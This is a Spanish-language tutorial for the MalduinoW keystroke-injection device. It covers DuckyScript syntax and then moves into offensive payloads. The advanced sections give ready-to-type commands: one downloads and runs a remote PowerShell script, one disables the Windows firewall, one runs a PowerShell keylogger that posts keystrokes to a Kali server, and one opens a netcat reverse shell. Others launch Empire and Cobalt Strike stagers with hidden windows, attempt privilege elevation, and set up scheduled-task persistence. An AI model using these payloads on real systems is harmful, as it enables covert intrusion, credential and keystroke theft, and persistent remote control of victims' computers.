Secciones
🎓 Introducción a MalduinoW
MalduinoW funciona de forma similar a Rubber Ducky de Hak5, pero utiliza una placa basada en Arduino, la cual se puede controlar a distancia por wifi para inyectar diferentes payloads. Al conectarlo a un ordenador, es reconocido como un teclado, lo que le permite ejecutar comandos automáticamente como si fueran escritos por una persona.
¿Para qué sirve?
- Automatizar tareas repetitivas.
- Ejecutar comandos en segundos.
- Hacer demostraciones de vulnerabilidades.
- Probar configuraciones de sistemas.
⚠️ Advertencia: Usa esta herramienta de forma ética y siempre con autorización. MalduinoW está diseñado para pruebas de seguridad en entornos controlados.
📄 Conceptos Básicos
1. Separación de teclas
Cada tecla se separa por un espacio, lo que indica que deben ser presionadas al mismo tiempo.
Ejemplo: GUI r
→ Presiona simultáneamente la tecla Windows (⊞) y la letra r
.
2. Acciones en una sola línea
Todo lo que esté en una misma línea se presiona y se suelta a la vez.
Ejemplo:
WINDOWS
→ Presiona y suelta la tecla Windows.CTRL ALT DELETE
→ Ejecuta las tres teclas juntas.
3. Escribir texto
Utiliza STRING
para escribir texto literal en pantalla.
Ejemplo: STRING Hola Mundo!
escribe ese mensaje como si lo teclearas.
⚖️ Funciones Disponibles
Comando | Ejemplo | Descripción |
---|---|---|
REM | REM Comentario | Línea de comentario (no se ejecuta). |
DEFAULTDELAY | DEFAULTDELAY 200 | Retardo predeterminado entre comandos (en milisegundos). |
DELAY | DELAY 1000 | Pausa la ejecución (en milisegundos). |
STRING | STRING Hola! | Escribe el texto literal indicado. |
REPEAT | REPEAT 3 | Repite el último comando n veces. |
LOCALE | LOCALE ES | Define el idioma del teclado virtual. |
LED | LED 255 0 0 | Cambia el color del LED (formato RGB). |
⌨️ Teclas Estándar y Modificadoras
Letras y números
- Letras:
a
–z
,A
–Z
- Números:
0
–9
Teclas de función
F1
aF12
Modificadoras
Tecla | Ejemplos de Combos |
---|---|
CTRL |
|
SHIFT | SHIFT w |
ALT | ALT p |
ALT_RIGHT | ALT_RIGHT x |
GUI | GUI l |
Otras teclas comunes
Tecla |
---|
ENTER |
DELETE |
HOME |
INSERT |
PAGEUP |
PAGEDOWN |
UP |
DOWN |
LEFT |
RIGHT |
TAB |
END |
ESC |
SPACE |
BACKSPACE |
CAPSLOCK |
NUM_0 ... NUM_0 |
NUM_ASTERIX |
NUM_ENTER |
NUM_Minus |
NUM_PERIOD |
NUM_PLUS |
PRINTSCREEN |
Para más información, puede ver el repositorio oficial de duckyscript 1.0
📝 Ejemplos de Uso Básico
REM Abre el menú Ejecutar y lanza CMD
GUI r
DELAY 500
STRING cmd
ENTER
REM Escribe "Hola" y lo repite tres veces
STRING Hola
REPEAT 3
REM Cambia el LED a color verde
LED 0 255 0
🚀 Ejemplos Avanzados
Ejecutar PowerShell como Administrador
REM Abre PowerShell como admin
GUI r
DELAY 300
STRING powershell
CTRL SHIFT ENTER
DELAY 800
ALT y
Descargar y ejecutar script desde internet
GUI r
DELAY 300
STRING powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://192.168.0.10/payload.ps1 -OutFile payload.ps1"
ENTER
DELAY 1000
STRING powershell -ExecutionPolicy Bypass -File payload.ps1
ENTER
Deshabilitar el firewall de Windows (solo pruebas controladas)
GUI r
DELAY 300
STRING cmd
CTRL SHIFT ENTER
DELAY 800
ALT y
STRING netsh advfirewall set allprofiles state off
ENTER
Crear un script de keylogger en PowerShell y enviar datos a servidor en Kali
Este script captura pulsaciones de teclado en tiempo real mediante PowerShell y las envía a un servidor remoto en la red local, como uno ejecutado en una máquina Kali Linux. La transmisión se realiza usando Invoke-WebRequest
, que envía las pulsaciones mediante solicitudes POST.
GUI r
DELAY 300
STRING powershell
ENTER
DELAY 500
STRING "$log='';while($true){$key=$Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown').Character;$log+=$key;Invoke-WebRequest -Uri http://192.168.1.100:8000 -Method POST -Body @{data=$log}}"
ENTER
📌 Asegúrate de reemplazar 192.168.1.100
con la IP real de tu máquina Kali en la red local.
Preparar el Servidor en Kali para recibir los datos
mkdir /tmp/keystrokes
cd /tmp/keystrokes
python3 -m http.server 8000
Este comando abre un servidor web simple en el puerto 8000. Como alternativa, puedes usar herramientas como:
- Netcat para recibir conexiones:
nc -lvp 8000
🧰 Integraciones con Otras Herramientas
Malduino + Netcat
Permite crear un canal reverso entre el objetivo y el atacante:
REM Lanzar PowerShell y conectarse a un listener
GUI r
DELAY 300
STRING powershell
ENTER
DELAY 300
STRING nc -e cmd.exe 192.168.0.1 4444
ENTER
Malduino + Metasploit
Puedes usar MalduinoW para lanzar un payload generado por msfvenom
:
STRING powershell -EncodedCommand <payload_base64>
ENTER
Malduino + Empire / Cobalt Strike
Tanto Empire como Cobalt Strike permiten gestionar agentes en sistemas comprometidos. Puedes usar MalduinoW para inicializar un payload o stager que conecte al servidor de Empire o Cobalt Strike.
Ejemplo (Empire Stager):
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100:8080/empire')"
ENTER
Ejemplo (Cobalt Strike Beacon):
STRING powershell -nop -w hidden -c "$b=New-Object Net.WebClient;$b.DownloadString('http://192.168.1.100/beacon.ps1') | IEX"
ENTER
Asegúrate de que los payloads estén disponibles desde un servidor web controlado y que los puertos estén correctamente redirigidos en el firewall de Kali si es necesario.
🕵️ Trucos y Bypasses
Bypass del UAC (User Account Control)
Algunas versiones de Windows permiten escalar privilegios con comandos como:
STRING powershell Start-Process cmd -Verb runAs
ENTER
Este método depende del sistema operativo y la configuración del UAC.
Ocultar ventana de ejecución
STRING powershell -WindowStyle Hidden -Command "Start-Sleep -s 2"
ENTER
Payload persistente
Crea una tarea programada que se ejecute cada vez que inicie el sistema:
STRING schtasks /create /sc onlogon /tn "Persistencia" /tr "powershell.exe -File C:\\payload.ps1"
ENTER
🔎 Conclusión
MalduinoW es una herramienta extremadamente potente que, bien utilizada, puede ayudarte a automatizar tareas complejas y probar la robustez de sistemas ante ataques por teclado. Aprender su lenguaje de scripting te abre la puerta a un sinfín de posibilidades en ciberseguridad y automatización.
Desde scripts básicos hasta ejemplos como la captura de entrada de teclas (keylogging con PowerShell y transmisión a un servidor Kali), esta guía busca mostrar tanto las capacidades como la responsabilidad que implica su uso.